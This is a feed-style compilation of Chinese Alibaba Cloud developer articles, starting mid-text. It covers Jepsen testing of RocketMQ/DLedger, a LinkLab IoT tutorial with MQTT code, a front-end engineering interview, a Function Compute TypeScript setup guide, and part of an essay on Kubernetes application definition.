        除了随机对称网络分区,DLedger在其他5种故障注入下也均通过了Set测试的一致性验证,证明了DLedger对网络分区,进程、节点崩溃等故障的容错能力。

        RocketMQ的Jepsen测试

        Apache RocketMQ是一个具有低延迟、高性能、高可靠性和灵活可扩展性的分布式消息队列。RocketMQ从4.5.0版本之后支持DLedger方式部署,使单组broker具有故障转移能力,具有更好的可用性和可靠性。现在我们用Jepsen来检测RocketMQ DLedger部署模式的容错能力。

        首先依旧需要明确RocketMQ在故障下需要满足怎样的一致性。Jepsen为分布式系统提供了total-queue的测试,total-queue测试需要系统满足入队的数据必须出队,也就是消息的传输必须满足at-least-once。这符合我们对RocketMQ在故障下正确性要求,因此采用total-queue对RocketMQ进行Jepsen测试。

        total-queue测试如下图所示,主要分为两个阶段。第一阶段客户端进程并发地向集群随机调用入队和出队操作,入队和出队操作比例各占一半,中间会注入故障。第二阶段,为了保证每一个数据都出队,客户端进程调用drain操作,抽干队列。

        lADPDgQ9rQShISDNASXNBDg_1080_293_jpg_620x10000q90g

        在实际的测试过程中,我们开启4个客户端进程并发地向待测试的RocketMQ集群进行入队和出队操作,中间会引入特定故障。故障注入间隔时间是200s,整个阶段一共持续1小时。第一阶段结束以后,客户端执行drain操作,抽干队列。

        依旧采用上文所述的六种故障注入进行测试,以随机杀死节点故障为例来分析测试结果(为了保证杀死节点个数不会导致整个集群不可用,代码保证每次故障注入只杀死少数个节点),测试完成后,出现如下图所示结果:

        lADPDgQ9rQShISPNAQfNAVg_344_263_jpg_620x10000q90g

        可以看到测试过程中30个客户端一共试图入队65947个数据(attempt-count),入队成功返回64390个数据(acknowledged-count),实际成功入队64390个数据(ok-count),无重复出队的数据,因此故障下的一致性验证是通过的。

        我们以图表形式更好的分析故障下RocketMQ的表现。下图是客户端对RocketMQ集群每一次操作的时延图。

        lALPDgQ9rQShISbNAZDNA4Q_900_400_png_620x10000q90g

        其中红色小三角形表示入队失败,如果一段时间内存在大量的红色小三角形则表示该时间段系统不可用,从图中可以发现在故障注入(灰色区域)初期存在一些系统不可用的时间段,这是故障引发集群重新选举造成的,一段时间后集群仍能恢复可用性。但是可以发现在故障恢复后,也存在系统不可用的时间段,这并不符合预期。

        通过日志排查发现,故障恢复后集群不可用的时间几乎都在30秒左右,这正是broker向nameserver的注册间隔。进一步排查发现,这段时间内nameserver中master broker路由信息出现了丢失。原来在故障恢复后,被杀死的broker进程进行重启,此时默认brokerId为零,在brokerId被修改之前,broker向nameserver进行注册,从而覆盖了原本master broker路由信息,造成集群在该段时间内不可用。对该问题进行修复并重新进行Jepsen测试,重新测试的时延图如下图所示。

        lALPDgQ9rQShISfNAZDNA4Q_900_400_png_620x10000q90g

        重新测试的结果表明问题已经被修复,故障恢复后不存在不可用的时间段。通过Jepsen测试,我们发现了RocketMQ DLedger部署模式在故障注入下可用性方面的问题,并从代码上进行了优化,贡献给RocketMQ社区。我们也检测了其他故障注入下RocketMQ的表现情况,均通过了total-queue测试的一致性验证。

        Jepsen测试的一些思考

        以DLedger和RocketMQ为例,我们利用Jepsen对分布式消息系统进行了故障下的一致性验证。在测试过程中,也发现了Jepsen框架存在的一些缺陷。

        Jepsen测试无法长时间运行。Jepsen测试长时间运行会产生大量的数据,这导致其校验阶段出现OOM,但在实际场景中,许多深藏的bug需要长时间的压力测试、故障模拟才能发现,同时系统的稳定性也需要长时间的运行才能被验证。

        Jepsen测试提供的模型还无法完全覆盖到特定领域。比如在分布式消息领域,Jepsen仅提供了queue和total-queue的测试,来验证消息系统在故障下是否会出现消息丢失,消息重复。但是对于分布式消息队列重要的分区顺序性、全局顺序性、重平衡算法的有效性并未覆盖到。

        分布式消息标准openmessaging社区也试图解决这些问题,从而提供消息领域更加完备的可靠性验证。DLedger的Jepsen测试代码也已经放到openmessaging的openmessaging-dledger-jepsen仓库下,并提供了Docker启动模式,方便用户能快速地在单台机器上进行测试。

        故障所引发的错误代价非常大,电商网站的中断会导致收入和声誉的巨大损失,云厂商提供的系统发生宕机或故障时,会给用户或他们的用户带来沉痛的代价。如何让分布式系统在困境(硬件故障、软件故障、人为错误)中仍可正确完成功能,并能达到期望的性能水准,这不仅要从算法设计和代码实现上解决,还需要利用分布式系统测试工具提前模拟各种故障,从失败中找到深层的问题,提高系统的容错能力。这样才能在意外真的发生时,将意外的损失降到最低。


        本文作者:金融通

        ]]>
        远程AIoT教育科研平台LinkLab-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 远程AIoT教育科研平台LinkLab

        当前,物联网应用开发过程普遍存在缺少硬件上手难、技术繁杂开发难、场景复杂部署难等痛点。本文介绍远程AIoT教育科研平台LinkLab,初步探讨物联网开发、教学和实训等方面的集成解决方案。平台由阿里巴巴-浙江大学前沿技术联合研究中心(AZFT)杭州开物教育科技有限公司联合研发。

        1. LinkLab简介

        传统的物联网程序开发需要用户自己选购开发板、传感器等硬件设备并完成设备组装,还要进行驱动程序以及一些链接库的源代码编写,给用户带来麻烦的同时也提高了物联网开发的门槛。那么,能不能让用户在自己家里,只用打开浏览器即可进行物联网远程实验呢?为了解决这些问题,我们开发了LinkLab远程物联网实验系统。那么,LinkLab的优势有哪些?可以主要归纳为三点:

        1. 远程开发。用户无需采购和组装物联网设备,登录平台就可以直接编写自己的代码。平台后台部署了大量物联网设备供用户远程使用。
        2. 快速开发。系统支持包括AliOS Things在内的多个物联网操作系统,这些系统提供了丰富的系统调用和驱动支持。用户可以将注意力集中于应用逻辑上,加快了开发速度。
        3. 在线教学。LinkLab系统提供了丰富的在线教学功能。学员可以在系统上学习物联网相关课程、观看教学视频以及锻炼物联网编程能力。

        LinkLab是一个提供线上课程学习、视频播放、实验题做题、场景编程和考试认证的物联网实验平台,包括远程设备和相应的系统软件。其中系统软件部分一共包含以下几个模块:判题系统,负责对用户做题的输出进行判断;设备中心,负责设备管理和烧写;在线编译器,负责用户代码的编译;WebIDE负责代码编辑工作。用户可以用于学习AIoT知识,锻炼编程能力,并且可以根据自己的想法自由进行实验。
        AliOS-Things可以结合阿里云物联网平台使用。阿里云物联网平台为设备提供安全可靠的连接通信能力,向下连接海量设备,支撑设备数据采集上云;向上提供云端API,服务端通过调用云端API将指令下发至设备端,实现远程控制。
        本文接下来使用ESP32开发板,使用AliOS-Things的mqtt相关接口,实现数据上云的全链路实验。我们使用WebIDE和阿里云互联网平台完成实验,共分为四步:

        1. 在阿里云物联网平台创建物模型;
        2. 在代码编辑器中编写AliOS-Things应用代码;
        3. 连接远程设备;
        4. 提交代码并等待系统判题结果。

        下面通过一个简单的传感数据上云的例子介绍如何使用LinkLab。

        2. WebIDE的使用

        1. 登陆LinkLab平台后,在主页可以看到实验列表。
          1.png
        2. 选择实验并点击对应的“开启”按钮,进入WebIDE界面。
        3. 点击左上角的实验名称按钮,打开题目描述信息和代码编辑器。下面对WebIDE页面布局做简单介绍:
        • 红色框内为实验题列表(以“串口打印”实验为例)。
        • 黄色框内为当前实验题题目描述信息。
        • 蓝色框内为实验操作(包括“连接”、“提交”,其中“连接”按钮用来连接远程物联网设备,“提交”按钮用于当代码编写完成时提交运行)。
        • 绿色框内是代码编辑器。
        • 灰色框内是Shell,负责显示系统日志和用户程序输出信息(用户输出为绿色)。
          2.png

        接下来在绿色的代码编辑器使用AliOS Things,编写C代码,实现简单的数据读取和上传至物联网平台功能。

        3. 阿里云物联网平台配置

        在编写代码之前,需要先在阿里云物联网平台中创建产品与设备,并定义产品的物模型,具体可参考阿里云的文档:创建产品与设备为产品定义物模型

        1. 创建产品。新建设备模型,名称任意,分类为“自定义品类”,联网方式为“WiFi”,数据格式为“ICA 标准数据格式(Alink JSON)”。
        2. 在所创建产品的“功能定义”中为设备模型添加“自定义功能”。我们新增四个属性,分别是“温度(CurrentTemperature)”、“湿度(CurrentHumidity)”、“光照度(mlux)”和“判题密钥(key)”。
        3. 新增测试设备。设备三元组信息位于设备详情中,可以直接复制。
          4.png

        4. 代码编写

        接下来在WebIDE中编写代码。先填写PRODUCT_KEY,PRODUCT_SECRET,DEVICE_NAME与DEVICE_SECRET,这些信息可以在阿里云控制台中找到。程序的大体框架已经给出,只需要填写循环内部的逻辑。
        首先要根据题目的要求,确定循环的次数与每一次循环后的等待时间。然后,按照阿里云文档中关于Alink协议上报设备属性的说明,准备好上报设备属性CurrentTemperature和CurrentHumidity的MQTT消息,存入变量msg_pub中(可以考虑使用sprintf)。然后在循环中,使用IOT_MQTT_Publish方法,将消息发送到阿里云物联网平台。AliOS MQTT的相关函数可参考AliOS源代码中对应函数的注释的说明

        while (cnt < 5) {
            cnt++;
            int ts = time(0);
            msg_len = snprintf(msg_pub, sizeof(msg_pub), "{"
                                    ""id": "123","
                                    ""version": "1.0","
                                    ""params": {"
                                    ""CurrentTemperature": {"
                                    ""value": 20.0,"
                                    ""time": %d"
                                    "},"
                                    ""CurrentHumidity": {"
                                    ""value": 25.0,"
                                    ""time": %d"
                                    "}"
                                    "},"
                                    ""method": "thing.event.property.post""
                                    "}", ts, ts);
        
            topic_msg.payload = (void *)msg_pub;
            topic_msg.payload_len = msg_len;
        
        
            rc = IOT_MQTT_Publish(pclient, TOPIC_PROPERTY_POST, &topic_msg);
            
            EXAMPLE_TRACE("packet-id=%lu, publish topic msg=%s", (uint32_t)rc, msg_pub);
            IOT_MQTT_Yield(pclient, 200);
        
            aos_msleep(1000);
        }
        

        保存以上代码。然后点击“连接”按钮,连接远程设备,如果连接成功会在 Shell出现以下提示,可以进行下一步的操作。
        5.png
        如果在Shell出现连接失败的提示,需要继续等待,直至连接成功。连接设备成功后,可以点击“提交”按钮提交代码,系统将自动完成代码的在线编译和远程烧写等工作,程序的执行结果将显示在Shell中。如果编译出错的话,Shell将给出相应的提示:
        6.png
        判题系统会根据用户程序输出的数据的正确性、输出的次数和时间间隔设定若干得分点,用户可以在最后面看到通过的得分点和具体的得分。
        7.png

        以下是该实验可能部分错误类型列表。

        错误 原因
        次数错误 打印次数与要求不匹配
        时间间隔错误 打印时间间隔与要求不匹配
        消息内容错误 打印内容错误

        5. 实验结果

        程序显示在Shell中的执行结果,如果程序的输出和期望输出一致,系统会提示“ACCEPT”,否则提示为“WRONG ANSWER”,具体参考以上截图。

        程序运行成功后,我们可以登录到阿里云物联网平台,在设备运行状态下查看上传的设备数据。
        9.png

        6. 总结和展望

        本文介绍了如何使用LinkLab物联网实验平台和AliOS Things将传感器数据上传到阿里云物联网平台。由于篇幅有限,LinkLab的更多教育教学功能没能得到充分的展现,未来免费版本、英文版本、考试认证、批量组织实验和自主节点选择等功能将陆续上线,敬请期待!

        ]]>
        与阿里前端工程中台负责人聊聊前端工程化-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1574211895211-2fb272bc-f5a1-48b7-b585-ef4a33267033.png

        前端工程化,是解决前端业务及技术架构日趋复杂问题的必行之道,然而工程化并不是普适的技术或理论,业务类型、场景、技术架构、甚至团队组织架构,均是决定工程化具体形态的必要因素。换句话讲,工程化和具体的实践密不可分!为此,本次 D2 特设了前端工程化专场,邀请阿里前端工程之父——阿大作为专场顾问,为大家带来业内优秀的前端工程建设实践、以及实践背后的宝贵经验与思考,希望帮助大家从这些成功案例中获得灵感并发掘到新方向。

        关于前端工程化领域,大家心里可能还有一些疑惑,那么今天,就请跟随小编一起,来找阿大聊一聊吧~ ;-)

        首先,让我们来认识下阿大——他在 2009 年加入淘宝,负责过淘宝交易、商品等基础业务及机票彩票、一淘等创新业务。到了 2013 年,他开始专注于前端工程化领域,着手推动工具、流程和规范的统一,完成了淘系前端团队整体研发模式的升级,目前负责阿里经济体前端工程化中台的建设。

        为了让大家更进一步地了解前端工程化,小编精心挑选了 6 个大家比较关注的问题,下面就让我们跟随阿大的视角和思维一起看看吧。

        1. D2 小编:阿大,您在阿里负责工程化的方向建设,您认为在整个前端领域中,前端工程化扮演了什么样的角色呢?

        阿大:前端要有危机感。前端工程化这个方向火了几年了,并且已经开始跟 AI、大数据等新兴领域有一些结合。完善的前端工程能力未来一定会替代大部分低端的、入门的前端劳动力。对于公司和业务团队而言,完善的前端工程能力建设又能极大的降低前端技术入门门槛,让更多非前端领域技术人员甚至是非技术人员来完成前端的工作。

        2. D2 小编:每个前端同学都应该了解的工程化具体有哪些方面呢?

        阿大:我想大部分人最初了解前端工程化都是从代码组织、模块化和打包构建相关工具开始的。特别是 Node.js 的兴起,应该说是前端工程能力建设的助推剂。
        我一直有一个观点:越深入的工程体系的建设,对个体的创造力约束也就越大。工程体系的建设是用来解决系统性问题,解决大规模人员协同效率、质量和成本问题的。就个体前端而言,适当考虑使用工具提升自我效率即可。

        3. D2 小编:您觉得工程化方向在未来会朝着什么样的方向走呢?

        阿大:一个技术发展得是否成熟,很大程度体现在工程化程度上。
        前端近几年的快速发展大家有目共睹,大部分公司的前端开发人员已然不再是单纯的前端了!目前,大家会有种前端工程相关领域的讨论和建设比较火热的错觉,但其实它还是比较初期的。随着大前端周边技术的不断完善和充实,未来前端工程能力会更加趋向于一种服务能力,会更好地与机器学习等智能化方向结合。这会极大地降低复杂的、优秀的前端技术的应用门槛,同时也有可能通过完善的工程能力建设,淘汰一大批入门级的、劳动力型的前端职业人员。

        4. D2 小编:对于「从 0 到 1 自建团队/业务」的前端团队,您有什么建议吗?

        阿大:中小型公司前端团队的规模都不会特别大,一般团队规模在 10 人以内的,我建议不用系统化地考虑工程相关建设。前端同学都很爱捣鼓,充分发挥个体的能动性即可,整体的研发效率和质量不会因为你做了规范或者统一了工具有明显提升,大部分的情况反而是下降的。当团队规模在 20 人以上的时候,协同的瓶颈就开始显现,如果没有有效的规范、流程和工具的约束,20 人的整体产出很大可能是远远小于个体之和,这个时候一定要制定相关的研发规范、统一技术架构,如果规模在 50 人以上的话,就要配以一定的工具和流程来对研发过程进行有效约束,同时需要有研发数据的积累沉淀方式,通过数据指导技术体系优化。

        5. D2 小编:阿里前端工程化比较有代表性的产品有哪些呢?

        阿大:我在阿里巴巴负责集团前端工程中台的建设,通过工程中台来标准化前端研发过程,从框架规范、构建调试、检查发布和监控运维,全方位支撑集团内几千名前端的日常研发工作。同时,阿里各前端团队也能基于中台的开放能力,结合自身业务特点,构建符合自己团队的前端工程平台。不过这些平台都是服务于内部的,暂未对外开放。外部大家比较熟悉的有一个淘系前端推出的产品:imgcook,它通过智能化的方式将设计稿一键转换成代码,有兴趣的同学可以访问官网了解:https://www.imgcook.com/。另外,近期我们在 IDE 能力建设上做了大量的投入和布局,期望通过 IDE 打通线上线下、内部外部的前端开发生态,本届 D2 前端工程化专场也会有相关主题的分享,大家可以关注下。

        6. D2 小编:本次  D2 的工程化专场话题,会倾向于哪些重点方向,会邀请哪些专业讲师来分享呢?

        阿大:上面讲到了 IDE,其实本届 D2 前端工程专题的主旋律是围绕 IDE 展开的。除了阿里内部的 IDE 话题,我们还会邀请国内在 IDE 领域有建设积累的前端团队,来讲讲他们在 IDE 能力建设过程中的思考和选择。另外我们还邀请了海外嘉宾,这个暂时留作彩蛋。


        想必跟随阿大的思路,大家对前端工程化一定有了更深刻的理解。如果你心中仍有疑惑,欢迎给我们留言,也欢迎大家带着问题来 D2 现场,和讲师大大们进行面对面交流哦。

        此外,如果你想了解 D2 话题的最新进展,可以访问 「第十四届 D2 前端技术论坛」进行了解哦~

        期待与你在 D2 见面~

        ]]>
        Serverless 实战 —— 函数计算 + Typescript 实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

        首先介绍下在本文出现的几个比较重要的概念:

        函数计算(Function Compute):函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考。
        Aliyun Serverless VSCode Extension: 是阿里云 Serverless 产品 函数计算 Function Compute 的 VSCode 插件,该插件结合了函数计算 Funcraft:Funcraft 工具以及函数计算 SDK ,是一款 VSCode 图形化开发调试函数计算以及操作函数计算资源的工具。
        Funcraft:Funcraft 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。Fun 的更多文档参考。

        目标

        本文打算以一个简单的 Serverless 函数计算项目为例,尝试使用 typescript + nodejs 进行开发,搭建一个简单的工程项目,实现如下小目标:

        1. 使用 typescript 编写业务代码
        2. 可以通过 Serverless VSCode 插件本地调试 typescript 代码
        3. 通过插件将项目代码部署到云端

        项目示例图

        project_guide

        实践

        1. 前期准备 (可选)

        market

        • 根据 aliyun/fun 中的教程安装并配置 Docker。

        前期准备的目的是为了方便开发和调试,目前阿里云 Function Compute 提供了命令行工具 Funcraft 以及图形化 VSCode 插件。安装 Docker 是为了在本地模拟线上环境进行调试,如果想快速浏览下 nodejs + typescript 工程项目的搭建,可以跳过。

        2. 环境搭建

        • 配置 tsconfig.json

          • 执行 tsc --init,将会在项目根目录生成 tsconfig.json
          • 配置 tsconfig.json 内容为:
            {
              "compilerOptions": {
                "target": "es5",
                "module": "commonjs",
                "noImplicitAny": true,
                "outDir": "./dist/",
                "sourceMap": true
              },
              "include": [
                "./src"
              ]
            }
        • 配置 package.json

          • 执行 npm init,将会在项目根目录生成 package.json
          • 配置 package.json 内容为:
            {
              "name": "fc-ts",
              "version": "1.0.0",
              "description": "Function Compute + Typescript",
              "main": "index.js",
              "scripts": {
                "compile": "tsc -p ./"
              }
            }
        • 编写业务代码

          • 新建 src/index.ts 文件,编写内容如下:
            export const handler = (
              event: any,
              context: any,
              callback: (err: any, data: any) => void,
            ) => {
              console.log(new String(event));
              callback(null, 'hello world');
            }
        • 将 ts 代码编译为 js 代码

          • 在 Terminal 中输入 npm run compile
          • 完成后在项目根目录会有 dist 文件夹以及 dist/index.jsdist/index.js.map 文件

        至此,我们搭建了一个常规的 typescript 项目,有 tsconfig.jsonpackage.jsonsrc 源码目录dist 结果目录。其中,src/index.ts 文件中定义了一个 handler 方法,该方法符合函数计算中函数入口方法的定义。

        3. 结合函数计算

        1. 在项目根目录新建 index.js 文件,文件内容如下:

          const { handler } = require('./dist/index');
          
          module.exports.handler = (event, context, callback) => {
            handler(event, context, callback);
          }

          这里又定义了一个 handler 方法,该方法中调用了编译后 js 文件中的 handler 方法。

        2. 在项目根目录新建 template.yml 文件,文件内容如下:

          ROSTemplateFormatVersion: '2015-09-01'
          Transform: 'Aliyun::Serverless-2018-04-03'
          Resources:
            demo: # service name
              Type: 'Aliyun::Serverless::Service'
              Properties:
                Description: This is FC service
              func01: # function name
                Type: 'Aliyun::Serverless::Function'
                Properties:
                  Handler: index.handler
                  Runtime: nodejs8
                  CodeUri: ./
                  MemorySize: 1024
                  Timeout: 15

          该文件中对我们的资源(即函数计算中的服务以及函数)进行了定义,具体内容可以参考:Fun 规范文档
          如果安装了 Serverless VSCode 插件,那么可以尝试下插件的智能提示,效果如图:

          template_quick

        至此,我们就成功的将 typescript 项目结合到了函数计算中。我们的做法是:将 typescript 源码文件放置在 src 目录,将编译后的 js 文件放置在 dist 目录,最后在项目根目录中编写了 index.js 文件,文件中的 handler 处理函数调用了编译后 index 文件的入口函数。

        4. 本地调试与部署

        • 本地调试

          • index.js 以及 src/index.ts 文件中插入一些断点。
          • 点击 VSCode 左侧栏目中的函数计算图标,展开本地资源树
          • 点击函数名右侧的调试按钮,即可调试 ts 源代码。

        ts_debug

        • 部署函数

          • 点击 VSCode 左侧栏目中的函数计算图标
          • 右键本地资源树中的函数名,点击部署按钮

        ts_deploy

        • 远端调用函数

          • 点击远端资源树中函数名右侧的调用按钮

        ts_invoke

        总结

        目前阿里云 Function Compute 没有原生支持 Typescript,但是通过本文的方式可以做到在本地开发调试时使用 Typescript。接下来总结下这种实践方法的优点和不足:

        优点

        1. 使用 Typescript 进行开发
        2. 支持本地调试 Typescript 代码
        3. 项目部署到云端后,可以在云端查看 Typescript 源码

        不足

        1. 本地调试时需要在项目根目录的 index.js 文件中插入一个断点。
        2. 更新代码后,在调试以及部署前需要手工进行一次 Typescript 代码到 js 代码的编译。

        本文中介绍的实践方式只是一种思路,欢迎大家提供其他的思路。

        ]]>
        给 K8s API “做减法”:阿里巴巴云原生应用管理的挑战和实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 孙健波(天元)  阿里巴巴技术专家

        本文整理自 11 月 21 日社群分享,每月 2 场高质量分享,点击加入社群。**

        早在 2011 年,阿里巴巴内部便开始了应用容器化,当时最开始是基于 LXC 技术构建容器,然后逐渐切换到 Docker,自研了大规模编排调度系统。到了 2018 年,我们团队依托 K8s 体系开始推进“轻量级容器化”,同时投入了工程力量跟开源社区一起解决了诸多规模与性能问题,从而逐步将过去“类虚拟机”的运维链路和阿里巴巴整体应用基础设施架构升级到了云原生技术栈。


        到了 2019 年,Kubernetes 基础设施底盘在阿里巴巴经济体中已经覆盖了阿里巴巴方方面面的业务,规模化的接入了包括核心电商、物流、金融、外卖、搜索、计算、AI 等诸多头部互联网场景。这套技术底盘,也逐步成为了阿里巴巴支撑 618、双11 等互联网级大促的主力军之一。


        目前,阿里巴巴与蚂蚁金服内部运行了数十个超大规模的 K8s 集群,其中最大的集群约 1 万个机器节点,而其实这还不是能力上限。每个集群都会服务上万个应用。在阿里云 Kubernetes 服务(ACK)上,我们还维护了上万个用户的 K8s 集群,这个规模和其中的技术挑战在全世界也是首屈一指的。

        我们的 Kubernetes 面临的新挑战


        在规模和性能等基础设施领域问题逐步解决的同时,规模化铺开 Kubernetes 的过程中,我们逐步发现这套体系里其实还有很多意想不到的挑战。这也是今天分享的主题。


        第一个是 K8s 的 API 里其实并没有“应用”的概念


        而且,Kubernetes API 的设计把研发、运维还有基础设施关心的事情全都糅杂在一起了。这导致研发觉得 K8s 太复杂,运维觉得 K8s 的能力非常凌乱、零散,不好管理,只有基础设施团队(也就是我们团队)觉得 Kubernetes 比较好用。但是基础设施团队也很难跟研发和运维解释清楚 Kubernetes 的价值到底是什么。


        我们来看个实际的例子。


        1


        就拿上图中的 replica 为 3 来说,开发人员怎么知道实例数应该配几个呢?如果运维想要改replica,敢不敢改?能不能改?如果 replica 还能理解的话,那像 shareProcessNamespace 这种字段真是灵魂拷问了。 开发人员仅从字面意思知道这个可能跟容器进程共享有关,那么配置了这个应用会有什么影响呢?会不会有安全问题?


        在阿里巴巴内部,很多 PaaS 平台只允许开发填 Deployment 的极个别字段。为什么允许填的字段这么少?是平台能力不够强吗?其实不是的,本质原因在于业务开发根本不想理解这众多的字段。


        所以这个 PaaS 平台只允许用户填个别字段,其实反倒是帮助业务开发人员避免了这些灵魂拷问。但反过来想,屏蔽掉大量字段真的就解决问题了吗?这种情况下,整个组织的基础设施能力还如何演进?应用开发和应用运维人员的诉求又该怎么传递给基础设施呢?


        实际上,归根到底,Kubernetes 是一个 Platform for Platform 项目,它的设计是给基础设施工程师用来构建其他平台用的(比如 PaaS 或者 Serverless),而不是直面研发和运维同学的。从这个角度来看,Kubernetes 的 API,其实可以类比于 Linux Kernel 的 System Call,这跟研发和运维真正要用的东西(Userspace 工具)完全不是一个层次上的。你总不能让本来写 Java Web 的同学每天直接调用着 Linux Kernel System Call,还给你点赞吧?


        第二, K8s 实在是太灵活了,插件太多了,各种人员开发的 Controller 和 Operator 也非常多


        这种灵活性,让我们团队开发各种能力很容易,但也使得对于应用运维来说, K8s 的这些能力管理变得非常困难。比如一个环境里的不同运维能力,实际上有可能是冲突的。


        我们来看一个例子,基础设施团队最近开发上线了一个新的插件,叫做 CronHPA,一个具体的 Spec 如下所示。
         
        2


        作为基础设施团队,我们觉得这种 K8s 插件很简单, CRD 也很容易理解。就像这个 CronHPA 的功能,从早上六点开始到下午七点钟这个实例最少有 20 个、最多有 25 个,到第二天早上六点钟最少 1 个、最多有 9 个,在每个阶段会根据 CPU 这个指标衡量调整实例数。


        然而,就在我们美滋滋的上线这个插件后不久,应用运维同学就开始跟我们抱怨了:

        1. “这个能力到底该怎么使用呢?它的使用手册在哪里?是看 CRD 还是看文档呢?”
        2. “我怎么知道这个插件在某个集群里有没有装好呢?”
        3. “我们运维不小心把 CronHPA 和 HPA 绑定给同一个应用,结果发现这个应用是会抽风的。为什么你们 K8s 非要等到这种冲突发生的时候才报错呢?你们就不能设计个机制自动检查一下这些插件的使用过程有没有发生冲突吗?”其实这个我们后来确实做了,解决方法是给我们的 K8s 加了 20 多个 Admission Hook。


        第三,也是阿里巴巴上云之后我们团队特别痛的一个点。


        我们需要处理的应用的交付场景,除了公有云以外,还会有专有云、混合云、IoT 等各种复杂的环境。各种各样的云服务在这种复杂场景下,连 API 都是不统一的,这个时候我们就需要专门的交付团队来进行弥补,一个一个的去对接、去交付应用。对他们来说这是一件非常痛苦的事情:“不是说好的 Docker 化了之后就能‘一次打包、随处运行’了吗?”说白了,K8s 现在并没有一个统一的、平台无关的应用描述能力。

        阿里巴巴的解决办法


        在 2019 年,我们团队开始思考如何通过技术手段解决上述应用管理与交付相关的问题,到现在已经取得了一定的成果。


        不过,在讲解阿里巴巴如何解决上述问题的方案之前,有必要先介绍一下我们推进所有这些方案的理论基础。在这里,我们主要遵循的是 CNCF 倡导的“应用交付分层模型”,如下图所示:


        3


        这个模型的基础假设是:Kubernetes 本身并不提供完整的应用管理体系。换句话说,基于 K8s 的应用管理体系,不是一个开箱即用的功能,而是需要基础设施团队基于云原生社区和生态自己构建出来的。这里面就需要引入很多开源项目或者能力。


        而上面这个模型的一个重要作用,就是能够把这些项目和能力以及它们的协作关系,非常清晰地分类和表达出来。

        • 比如 Helm 就是位于整个应用管理体系的最上面,也就是第 1 层,还有 Kustomize 等各种 YAML 管理工具,CNAB 等打包工具,它们都对应在第 1.5 层;
        • 然后有 Tekton、Flagger 、Kepton 等应用交付项目,包括发布部署的流程,配置管理等,目前比较流行的是基于 GitOps 的管理,通过 git 作为“the source of truth”,一切都面向终态、透明化的管理,也方便对接,对应在第 2 层;
        • 而 Operator 以及 K8s 的各种工作负载组件(Deployment、StatefulSet 等),具体来说就像某个实例挂了这些组件自动拉起来一个弥补上原来所需要三个的实例数,包括一些自愈、扩缩容等能力,对应在第 3 层;
        • 最后一层则是平台层,包括了所有底层的核心功能,负责对工作负载的容器进行管理、封装基础设施能力、对各种不同的工作负载对接底层基础设施提供 API 等。


        这些层次之间,通过相互之间的紧密协作,共同构建出一套高效、简洁的应用管理与交付体系。在这些层次当中,目前阿里巴巴在今年 KubeCon 时已经宣布开源了第三层的 OpenKruise 项目。最近,我们则正在联合微软等更广泛的生态,和整个社区一起推进第一层“应用定义”相关的工作。

        应用定义到底该怎么做?


        其实,关于应用定义,无论是开源社区还是在阿里巴巴内部,都已经做了不少尝试,比如一开始我提到 Docker 解决了单机应用交付,它就通过 Docker 镜像把单机应用定义的很好。


        围绕 Kubernetes 我们也试过使用 Helm 以及 Application CRD 来定义应用。但是现在的云原生应用,往往会依赖云上的资源,像数据库会依赖 RDS、访问会依赖 SLB,Helm 和 Application CRD 只是单纯地将 K8s 的 API 组合在一起,无法描述我们对云上面资源的依赖,当我们用 CRD 来描述云上资源依赖的时候,它其实是 freestyle 的,没有一个很好的规范和约束,无论是用户、开发、运维还是平台资源提供方都没有一个共识,自然也就无法协作和复用。


        另一方面,它们既然是简单的对 K8s API 的组合,那么 K8s API 本身“不面向应用研发和运维设计”的问题就依然存在,这并不符合我们所希望的“应用定义”应该走的方向。此外,像 Application CRD,它虽然是 K8s 社区的项目,但是却明显缺乏社区活跃度,大多数修改都停留在一年前。


        试了一圈,我们发现“应用定义”这个东西,在整个云原生社区里其实是缺失的。这也是为什么阿里巴巴内部有很多团队开始尝试设计了自己的“定义应用”。简单地说,这个设计其实就是把应用本身的镜像、启动参数、依赖的云资源等等全部描述起来,分门别类的进行放置,并通过一个模板,最终渲染出一个配置文件,文件里有上千个字段,完整描述了一个应用定义的所有内容。这个配置文件大概长下面这个样子:


        4

         
        除了基本的 Deployment 描述字段,这种 in-house 应用定义往往还会包含云上资源的声明,比如使用哪种 ECS 套餐、如何续费、使用的是哪种磁盘和规格等等一系列额外的描述。这些资源的定义是一大块,并且上面的例子里我们已经尽量精简了;另一大块就是运维能力的描述,比如自动扩缩容、流量切换、灰度、监控等,涉及到一系列的规则。


        然而,你也不难看到,这种定义方式最终所有的配置还是会全部堆叠到一个文件里,这跟 K8s API all-in-one 的问题是一样的,甚至还更严重了。而且,这些应用定义最终也都成为了黑盒,除了对应项目本身可以使用,其他系统基本无法复用,自然就更无法使得多方协作复用了。


        吸取了这些教训以后,我们团队决定从另一个方向开始设计一个新的应用定义。


        具体来说,相比于其他“应用定义”给 K8s 做加法、做整合的思路,我们认为,真正良好的应用定义,应该给 K8s API 做“减法”。更准确的说,是我们应该通过“做减法”,把开发者真正关心的 API 给暴露出来,把运维、平台关心的 API 给封装起来。


        也就是说,既然 K8s API 为了方便基础设施工程师,已经选择把各方的关注点混在了一起。那么,当基础设施工程师想要基于 K8s 来服务更上层应用开发和运维人员时,其实应该考虑把这些关注点重新梳理出来,让应用管理的各个参与方重新拿到属于自己的 API 子集。


        所以,我们开始在 K8s API 的基础上增加了一层很薄的抽象,从而把原始的 K8s API 按照现实中的协作逻辑进行合理的拆分和分类,然后分别暴露给研发和运维去使用。这里的原则是:研发拿到的 API 一定是研发视角的、没有任何基础设施的概念在里面;而运维拿到的 API,一定是对 K8s 能力的模块化、声明式的描述。这样,在理想情况下,运维(或者平台)就能够对这些来自双方的 API 对象进行组合,比如:应用 A + Autoscaler X,应用 B + Ingress Y。这样组合完成后的描述对象,其实就可以完整的来描述“应用”这个东西了。

        Open Application Model (OAM)


